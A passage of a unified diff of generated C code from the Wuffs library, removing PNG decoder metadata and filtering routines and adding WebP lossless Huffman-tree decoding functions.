(self->private_impl.f_chunk_type == 1951945850u) { +- if (self->private_impl.f_ztxt_ri == self->private_impl.f_ztxt_wi) { +- { +- wuffs_base__io_buffer* o_2_v_w = v_w; +- uint8_t *o_2_iop_v_w = iop_v_w; +- uint8_t *o_2_io0_v_w = io0_v_w; +- uint8_t *o_2_io1_v_w = io1_v_w; +- uint8_t *o_2_io2_v_w = io2_v_w; +- v_w = wuffs_base__io_writer__set( +- &u_w, +- &iop_v_w, +- &io0_v_w, +- &io1_v_w, +- &io2_v_w, +- wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), +- self->private_impl.f_ztxt_hist_pos); +- { +- const bool o_3_closed_a_src = a_src->meta.closed; +- const uint8_t *o_3_io2_a_src = io2_a_src; +- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, +- ((uint64_t)(self->private_impl.f_chunk_length))); +- if (a_src) { +- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); +- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); +- a_src->meta.wi = n; +- } +- v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); +- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- { +- u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_2 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); +- v_zlib_status = t_2; +- iop_v_w = u_w.data.ptr + u_w.meta.wi; +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); +- v_num_written = wuffs_base__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w))); +- io2_a_src = o_3_io2_a_src; +- if (a_src) { +- a_src->meta.closed = o_3_closed_a_src; +- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); +- } +- } +- v_w = o_2_v_w; +- iop_v_w = o_2_iop_v_w; +- io0_v_w = o_2_io0_v_w; +- io1_v_w = o_2_io1_v_w; +- io2_v_w = o_2_io2_v_w; +- } +- if (v_num_written > 1024u) { +- status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- self->private_impl.f_ztxt_ri = 0u; +- self->private_impl.f_ztxt_wi = ((uint32_t)(v_num_written)); +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_ztxt_hist_pos, v_num_written); +- } +- while (self->private_impl.f_ztxt_ri < self->private_impl.f_ztxt_wi) { +- v_c2 = WUFFS_PNG__LATIN_1[self->private_data.f_dst_palette[self->private_impl.f_ztxt_ri]]; +- if (v_c2 == 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); +- goto exit; +- } else if (v_c2 <= 127u) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- goto label__loop__continue; +- } +- self->private_impl.f_ztxt_ri += 1u; +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c2))), iop_a_dst += 1); +- } else { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- goto label__loop__continue; +- } +- self->private_impl.f_ztxt_ri += 1u; +- (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c2), iop_a_dst += 2); +- } +- } +- if (wuffs_base__status__is_ok(&v_zlib_status)) { +- self->private_impl.f_metadata_is_zlib_compressed = false; +- break; +- } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { +- status = v_zlib_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } else if (v_zlib_status.repr != wuffs_base__suspension__short_write) { +- status = v_zlib_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- } +- } else { +- status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_chunk_type); +- goto exit; +- } +- } else if ((self->private_impl.f_chunk_type == 1951945833u) && (self->private_impl.f_metadata_fourcc == 1263947862u)) { +- while (true) { +- if (self->private_impl.f_chunk_length <= 0u) { +- goto label__loop__break; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); +- goto label__loop__continue; +- } else if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- goto label__loop__continue; +- } +- self->private_impl.f_chunk_length -= 1u; +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_c), iop_a_dst += 1); +- } +- } else { +- while (true) { +- if (self->private_impl.f_chunk_length <= 0u) { +- if (self->private_impl.f_metadata_fourcc == 1263947851u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- goto label__loop__break; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); +- goto label__loop__continue; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (v_c == 0u) { +- self->private_impl.f_chunk_length -= 1u; +- iop_a_src += 1u; +- goto label__loop__break; +- } +- v_c2 = WUFFS_PNG__LATIN_1[v_c]; +- if (v_c2 == 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); +- goto exit; +- } else if (v_c2 <= 127u) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); +- goto label__loop__continue; +- } +- self->private_impl.f_chunk_length -= 1u; +- iop_a_src += 1u; +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c2))), iop_a_dst += 1); +- } else { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); +- goto label__loop__continue; +- } +- self->private_impl.f_chunk_length -= 1u; +- iop_a_src += 1u; +- (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c2), iop_a_dst += 2); +- } +- } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_webp__decoder__decode_huffman_tree_simple(self, a_src, a_hg, a_ht); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_webp__decoder__decode_code_length_code_lengths(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ v_status = wuffs_webp__decoder__build_code_lengths_huffman_nodes(self); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; + } ++ goto ok; + } +- label__loop__break:; +- if (self->private_impl.f_metadata_fourcc == 1263947851u) { +- self->private_impl.f_metadata_fourcc = 1263947862u; +- if (self->private_impl.f_chunk_type == 1951945833u) { +- if (self->private_impl.f_chunk_length <= 1u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 2u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; +- } +- if (v_c == 0u) { +- self->private_impl.f_metadata_is_zlib_compressed = false; +- } else if (v_c == 1u) { +- self->private_impl.f_metadata_is_zlib_compressed = true; +- } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; +- } +- if ((v_c != 0u) && self->private_impl.f_metadata_is_zlib_compressed) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); +- goto exit; +- } +- self->private_impl.f_metadata_fourcc -= 2u; +- while (self->private_impl.f_metadata_fourcc != 1263947862u) { +- self->private_impl.f_metadata_fourcc += 1u; +- while (true) { +- if (self->private_impl.f_chunk_length <= 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; +- } +- if (v_c == 0u) { +- break; +- } +- } +- } +- } else if (self->private_impl.f_chunk_type == 1951945850u) { +- if (self->private_impl.f_chunk_length <= 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_6 = *iop_a_src++; +- v_c = t_6; +- } +- if (v_c != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); +- goto exit; +- } +- self->private_impl.f_metadata_is_zlib_compressed = true; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_webp__decoder__build_code_lengths(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ v_status = wuffs_webp__decoder__build_huffman_nodes(self, a_hg, a_ht); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; + } +- self->private_impl.f_call_sequence &= 239u; +- status = wuffs_base__make_status(NULL); + goto ok; + } +- } while (0); +- label__goto_done__break:; +- if (self->private_impl.f_chunk_length != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_data.s_do_tell_me_more[0].scratch = 4u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- if (self->private_data.s_do_tell_me_more[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_tell_me_more[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; + } +- iop_a_src += self->private_data.s_do_tell_me_more[0].scratch; +- self->private_impl.f_metadata_flavor = 0u; +- self->private_impl.f_metadata_fourcc = 0u; +- self->private_impl.f_metadata_x = 0u; +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; +- self->private_impl.f_call_sequence &= 239u; +- status = wuffs_base__make_status(NULL); +- goto ok; + + ok: +- self->private_impl.p_do_tell_me_more[0] = 0; ++ self->private_impl.p_decode_huffman_tree = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_tell_me_more[0].v_zlib_status = v_zlib_status; ++ self->private_impl.p_decode_huffman_tree = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -58593,563 +72047,1574 @@ wuffs_png__decoder__do_tell_me_more( + return status; + } + +-// -------- func png.decoder.history_retain_length ++// -------- func webp.decoder.decode_huffman_tree_simple + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_png__decoder__history_retain_length( +- const wuffs_png__decoder* self) { +- if (!self) { +- return 0; ++static wuffs_base__status ++wuffs_webp__decoder__decode_huffman_tree_simple( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_hg, ++ uint32_t a_ht) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_use_second_symbol = 0; ++ uint32_t v_first_symbol_n_bits = 0; ++ uint32_t v_symbol0 = 0; ++ uint32_t v_symbol1 = 0; ++ uint32_t v_base_offset = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_tree_simple; ++ if (coro_susp_point) { ++ v_use_second_symbol = self->private_data.s_decode_huffman_tree_simple.v_use_second_symbol; ++ v_first_symbol_n_bits = self->private_data.s_decode_huffman_tree_simple.v_first_symbol_n_bits; ++ v_symbol0 = self->private_data.s_decode_huffman_tree_simple.v_symbol0; ++ v_base_offset = self->private_data.s_decode_huffman_tree_simple.v_base_offset; + } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- return 0u; ++ if (self->private_impl.f_n_bits < 2u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (self->private_impl.f_n_bits >= 2u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_use_second_symbol = (self->private_impl.f_bits & 1u); ++ v_first_symbol_n_bits = ((((self->private_impl.f_bits & 2u) >> 1u) * 7u) + 1u); ++ self->private_impl.f_bits >>= 2u; ++ self->private_impl.f_n_bits -= 2u; ++ if (self->private_impl.f_n_bits < v_first_symbol_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= v_first_symbol_n_bits) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_symbol0 = (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_first_symbol_n_bits) - 1u)); ++ self->private_impl.f_bits >>= v_first_symbol_n_bits; ++ self->private_impl.f_n_bits -= v_first_symbol_n_bits; ++ v_base_offset = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[a_ht])); ++ if (v_use_second_symbol != 0u) { ++ if (self->private_impl.f_n_bits < 8u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (self->private_impl.f_n_bits >= 8u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_symbol1 = (self->private_impl.f_bits & 255u); ++ self->private_impl.f_bits >>= 8u; ++ self->private_impl.f_n_bits -= 8u; ++ self->private_data.f_huffman_nodes[a_hg][(v_base_offset + 0u)] = ((uint16_t)((v_base_offset + 1u))); ++ self->private_data.f_huffman_nodes[a_hg][(v_base_offset + 1u)] = ((uint16_t)((v_symbol0 | 32768u))); ++ self->private_data.f_huffman_nodes[a_hg][(v_base_offset + 2u)] = ((uint16_t)((v_symbol1 | 32768u))); ++ } else { ++ self->private_data.f_huffman_nodes[a_hg][v_base_offset] = ((uint16_t)((v_symbol0 | 32768u))); ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_huffman_tree_simple = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_huffman_tree_simple = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_huffman_tree_simple.v_use_second_symbol = v_use_second_symbol; ++ self->private_data.s_decode_huffman_tree_simple.v_first_symbol_n_bits = v_first_symbol_n_bits; ++ self->private_data.s_decode_huffman_tree_simple.v_symbol0 = v_symbol0; ++ self->private_data.s_decode_huffman_tree_simple.v_base_offset = v_base_offset; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; + } + +-// -------- func png.decoder.workbuf_len ++// -------- func webp.decoder.decode_code_length_code_lengths + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_png__decoder__workbuf_len( +- const wuffs_png__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++static wuffs_base__status ++wuffs_webp__decoder__decode_code_length_code_lengths( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_n_codes = 0; ++ uint32_t v_i = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_code_length_code_lengths; ++ if (coro_susp_point) { ++ v_n_codes = self->private_data.s_decode_code_length_code_lengths.v_n_codes; ++ v_i = self->private_data.s_decode_code_length_code_lengths.v_i; + } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_overall_workbuf_length, self->private_impl.f_overall_workbuf_length); ++ if (self->private_impl.f_n_bits < 4u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (self->private_impl.f_n_bits >= 4u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_n_codes = ((self->private_impl.f_bits & 15u) + 4u); ++ self->private_impl.f_bits >>= 4u; ++ self->private_impl.f_n_bits -= 4u; ++ v_i = 0u; ++ while (v_i < v_n_codes) { ++ if (self->private_impl.f_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= 3u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ self->private_impl.f_code_length_code_lengths[WUFFS_WEBP__CODE_LENGTH_CODE_ORDER[v_i]] = ((uint8_t)((self->private_impl.f_bits & 7u))); ++ self->private_impl.f_bits >>= 3u; ++ self->private_impl.f_n_bits -= 3u; ++ v_i += 1u; ++ } ++ while (v_i < 19u) { ++ self->private_impl.f_code_length_code_lengths[WUFFS_WEBP__CODE_LENGTH_CODE_ORDER[v_i]] = 0u; ++ v_i += 1u; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_code_length_code_lengths = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_code_length_code_lengths = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_code_length_code_lengths.v_n_codes = v_n_codes; ++ self->private_data.s_decode_code_length_code_lengths.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; + } + +-// -------- func png.decoder.filter_and_swizzle ++// -------- func webp.decoder.build_code_lengths_huffman_nodes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf) { +- return (*self->private_impl.choosy_filter_and_swizzle)(self, a_dst, a_workbuf); ++wuffs_webp__decoder__build_code_lengths_huffman_nodes( ++ wuffs_webp__decoder* self) { ++ uint32_t v_code_bits = 0; ++ uint32_t v_code_len = 0; ++ uint32_t v_symbol = 0; ++ uint32_t v_histogram[8] = {0}; ++ uint32_t v_n_used_symbols = 0; ++ uint32_t v_last_used_symbol = 0; ++ uint32_t v_subscription_weight = 0; ++ uint32_t v_subscription_total = 0; ++ uint32_t v_curr_code = 0; ++ uint32_t v_next_codes[9] = {0}; ++ uint32_t v_n_branches = 0; ++ uint32_t v_h = 0; ++ uint32_t v_children = 0; ++ uint16_t v_node = 0; ++ ++ v_symbol = 0u; ++ while (v_symbol < 19u) { ++ v_code_len = ((uint32_t)(self->private_impl.f_code_length_code_lengths[v_symbol])); ++ if (v_code_len != 0u) { ++ v_histogram[v_code_len] += 1u; ++ v_n_used_symbols += 1u; ++ v_last_used_symbol = v_symbol; ++ } ++ v_symbol += 1u; ++ } ++ if (v_n_used_symbols < 1u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); ++ } else if (v_n_used_symbols == 1u) { ++ self->private_data.f_code_lengths_huffman_nodes[0u] = ((uint16_t)((v_last_used_symbol | 32768u))); ++ return wuffs_base__make_status(NULL); ++ } ++ v_subscription_weight = 16384u; ++ v_code_len = 1u; ++ while (true) { ++ v_curr_code = ((uint32_t)(((uint32_t)(v_curr_code + v_histogram[v_code_len])) << 1u)); ++ v_next_codes[(v_code_len + 1u)] = v_curr_code; ++ v_subscription_total += ((uint32_t)(v_subscription_weight * v_histogram[v_code_len])); ++ v_subscription_weight >>= 1u; ++ if (v_code_len >= 7u) { ++ break; ++ } ++ v_code_len += 1u; ++ } ++ if (v_subscription_total > 32768u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_over_subscribed); ++ } else if (v_subscription_total < 32768u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_under_subscribed); ++ } ++ self->private_data.f_code_lengths_huffman_nodes[0u] = 0u; ++ v_symbol = 0u; ++ while (v_symbol < 19u) { ++ v_code_len = ((uint32_t)(self->private_impl.f_code_length_code_lengths[v_symbol])); ++ if (v_code_len > 0u) { ++ v_code_bits = v_next_codes[v_code_len]; ++ v_next_codes[v_code_len] += 1u; ++ v_code_bits <<= (32u - v_code_len); ++ v_h = 0u; ++ while (v_code_len > 0u) { ++ v_node = self->private_data.f_code_lengths_huffman_nodes[v_h]; ++ if (v_node == 0u) { ++ v_children = ((uint32_t)(1u + ((uint32_t)(2u * v_n_branches)))); ++ v_children = wuffs_base__u32__min(v_children, 35u); ++ self->private_data.f_code_lengths_huffman_nodes[v_h] = ((uint16_t)(v_children)); ++ self->private_data.f_code_lengths_huffman_nodes[(v_children + 0u)] = 0u; ++ self->private_data.f_code_lengths_huffman_nodes[(v_children + 1u)] = 0u; ++ v_h = (v_children + (v_code_bits >> 31u)); ++ v_n_branches += 1u; ++ } else { ++ v_children = ((uint32_t)(v_node)); ++ v_h = (wuffs_base__u32__min(v_children, 35u) + (v_code_bits >> 31u)); ++ } ++ v_code_bits <<= 1u; ++ v_code_len -= 1u; ++ } ++ self->private_data.f_code_lengths_huffman_nodes[v_h] = ((uint16_t)((v_symbol | 32768u))); ++ } ++ v_symbol += 1u; ++ } ++ return wuffs_base__make_status(NULL); + } + ++// -------- func webp.decoder.build_huffman_nodes ++ + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint64_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row0 = 0; +- uint64_t v_dst_bytes_per_row1 = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- uint32_t v_y = 0; +- wuffs_base__slice_u8 v_dst = {0}; +- uint8_t v_filter = 0; +- wuffs_base__slice_u8 v_curr_row = {0}; +- wuffs_base__slice_u8 v_prev_row = {0}; +- +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++wuffs_webp__decoder__build_huffman_nodes( ++ wuffs_webp__decoder* self, ++ uint32_t a_hg, ++ uint32_t a_ht) { ++ uint32_t v_base_offset = 0; ++ uint32_t v_code_bits = 0; ++ uint32_t v_code_len = 0; ++ uint32_t v_symbol = 0; ++ uint32_t v_histogram[16] = {0}; ++ uint32_t v_n_used_symbols = 0; ++ uint32_t v_last_used_symbol = 0; ++ uint32_t v_subscription_weight = 0; ++ uint32_t v_subscription_total = 0; ++ uint32_t v_curr_code = 0; ++ uint32_t v_next_codes[17] = {0}; ++ uint32_t v_n_branches = 0; ++ 